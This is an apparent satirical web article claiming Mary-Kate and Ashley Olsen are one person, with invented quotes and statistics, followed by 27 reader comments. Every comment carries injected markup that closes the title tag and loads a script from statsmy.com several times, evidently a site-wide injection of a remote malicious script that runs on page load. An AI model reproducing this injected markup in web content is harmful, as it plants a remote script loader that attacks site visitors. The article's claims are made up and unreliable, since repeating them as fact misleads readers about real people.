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Mary-Kate and Ashley Olsen are the Same Person
by Kris on 10/26/2004 (27)

Clever filmmaking and Photoshopping has helped keep up Ashley's double life.
Eighteen years ago, Mary-Kate and Ashley Olsen embarked on a quest to create one of the biggest media empires in all of the world. These two twins were child stars shortly after birth and have since branched into movies, cosmetics, and video games with a horrible vengeance not see since the early days of the Stalin Regime. Everywhere they have gone, success has tugged on their coattails just like Inky and Blinky grabbing tightly onto Ms. Pac-Man's pink bow.

But after years of unparalleled success, a startling new revelation could bring the entire Olsen Empire down quicker than you can say "a one manned fighter could maneuver a long trench and fire a proton torpedo into a small thermal exhaust port connected directly to the main reactor causing a chain reaction that would destroy the entire Death Star."

"For years, no one questioned that Mary-Kate and Ashley looked identical," said Jeremy Wilson, lead FBI investigator into the Olsen Scandal. "That was until the Olsen Report was released."

The Olsen Report was an independently funded report by the Identical Twins of American Association (ITAA), performed to investigate rumors that there was only one Olsen Twin.

"We wanted to refute these rumors," said Betty Norman, head of the ITAA. "We were proud of the twins, and we wanted everyone to know for sure they were one of us."

The findings were not what ITAA expected though. In the report, it was discovered that the probability that two people would look identical is out of every one-thousand births, or just over 25%.

"Those odds alone make the possibility of there being two Olsens nearly impossible," reluctantly stated Mrs. Norman.

This raised public suspicion into the rumor, but it was Mary-Kate's recent eating disorder that really tipped most people off.

"Clark Kent struggled for years to be Batman and Aquaman at the same time," said Wilson. "When a superhuman man from Endor can't handle being two people, how can you expect a young girl to do so?"

Mary Kate recently was admitted to a rehabilitation clinic for a supposed 'eating disorder'. Ever since she was admitted, she has not been seen by the public, and this has raised more eyebrows than The Rock at his latest movie premier.

"This was a clever way to write off the character of Mary Kate and let Ashley lead an easier, more peaceful life," believes Wilson.

"Ashley has been struggling for years with being two people," said a longtime friend who wished to remain nameless. "She was always running off, changing in phone booths so she could return to make an appearance as Mary Kate."

"Clark Kent struggled for years to be Batman and Aquaman at the same time. When a superhuman man from Endor can't handle being two people, how can you expect a young girl to do so?"
- Jeremy Wilson
Investigator and comic book novice.
"I've known the Twins for over ten years now, and not once have I seen both of them at the same time," said another nameless friend.

Even former co-worker John Stamos shared a similar view of the Twins.

"I never knew until the eating disorder news broke that there were two of them," said Stamos. "I just thought Mary Kate and Ashley Olsen was just one really weird, really long name."

"We expect Mary Kate will be gone for a long, long time," said Wilson. "It is Ashley's hope that if Mary Kate is out of the picture long enough, people will forget this charade she has created and she can live a much easier life as one person."

A spokesman for the Olsen Twins was unable to be reached for comment, still refusing to speak with us after we claimed earlier this year that the Olsen Twins were machines sent back in time to kill Sarah Conner and prevent the birth of the future leader of the resistance against the machines.



Wellplayed.net


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Comments

1. by Bob on 3/1/2007 4:52:29 PM
Dumb Ass!isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
Dumbass is one word.isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Mel S on 3/1/2007 4:52:29 PM
I bet Bob is John Stamos, angry for being used in this article.go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Laura on 3/1/2007 4:52:29 PM
Conspiracy theory at it's best!"0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Xero on 3/1/2007 4:52:29 PM
Thats total crap and you all know itt </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by amin on 3/1/2007 4:52:29 PM
123isplay:none"></ifram </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by ralph on 3/1/2007 4:52:29 PM
is mommy home?isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Evan on 3/1/2007 4:52:29 PM
They ink! And blink! They ink and blink and ink! Ink ink ink! Blink blink blink! The Inky and Blinky show! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Elizabeth on 3/1/2007 4:52:29 PM
I don't believe one bit of it. You must really be desperate to come up with such crap. I mean come on don't you have anything else to do. I mean why don't you go spread some rumours about Lindsey Lohan we don't give a rip about her how do you know she's who she says she is.go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Phil on 3/1/2007 4:52:29 PM
This is bogus. I mean why don't you so snoop around the Mowry sisters how do you know there's two of them. My word you guys are stupid to come up with such stuff.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Emily on 3/1/2007 4:52:29 PM
oh my god that is so dumb. how can u say that mary kate and ashley are one person? theres no way. if that were true it would have came out a long time ago. and i dont believe john stamos said that either cuz i mean he worked with them for 10 years. thats sh*t!i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Reiley on 3/1/2007 4:52:29 PM
Thats a bunch of crap! You people must have a lot of time on your hands to have come up with this crap! and i really don't think that john stamos would really say that, he worked with the girls for 10 years! i mean come on!isplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by An angry person on 3/1/2007 4:52:29 PM
For all the people who posted above me, lighten up. They are celebrities and you know celebrities really aren't people. Just machines made by the Terminators who will soon invade our planet. Sheesh. src=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by F To You on 3/1/2007 4:52:29 PM
Wow, F. You Suck At Life For Even Thinking Of This Retarded Shit. Go Get A Life.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by me on 3/1/2007 4:52:29 PM
bla bla bla...waste of internet space </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by me on 3/1/2007 4:52:29 PM
bla bla bla...waste of internet space </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by damn on 3/1/2007 4:52:29 PM
that takes away the twin fantasy"0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by T dog on 3/1/2007 4:52:29 PM
This is the biggest load of shit i have read in my entire life I feel this site hase wasted my time </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by Jennifer on 3/1/2007 4:52:29 PM
Wow. I mean really wow. This is satire people!! What, did you think you'd landed on CNN? The BBC? News at 6? I enjoyed the article. The Terminator bits were class.?s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by rebecca on 3/1/2007 4:52:29 PM
this is the stupidest shit ive ever heard!!!!!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by Matt on 3/1/2007 4:52:29 PM
I think Beavis and Butt Head are the same person also....Hmmmmmgo. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by X on 3/1/2007 4:52:29 PM
Mary Kate and Ash are the same?&#13;&#10;&#13;&#10;Oh no! I have crushes on BOTH of them.&#13;&#10;&#13;&#10;Dang!&#13;&#10;&#13;&#10;"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by ash on 3/1/2007 4:52:29 PM
ITS A JOKE RETARDS...GET OVER IT. LOL!ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by Heather on 3/1/2007 4:52:29 PM
OMG! You have to be a really stupid person to believe this. I want to know where you get your facts from. I know twins that look exactly alike and they aren't just one person. You have to be an idiot to even post thisone"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by Ashley on 3/4/2007 4:27:05 PM
hey can you eamil me at blondy_babygirl2011 i won to come and live with you guys hey ashley m,y mom named me after youisplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by natasha on 5/9/2007 9:22:38 AM
that's a lot of bull b/c i know of a lot of twins that are identical...that's way they are called IDENTICAL TWINS stupid...ispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
27. by Kris on 5/9/2007 12:57:42 PM
Do you believe everything the government tells you? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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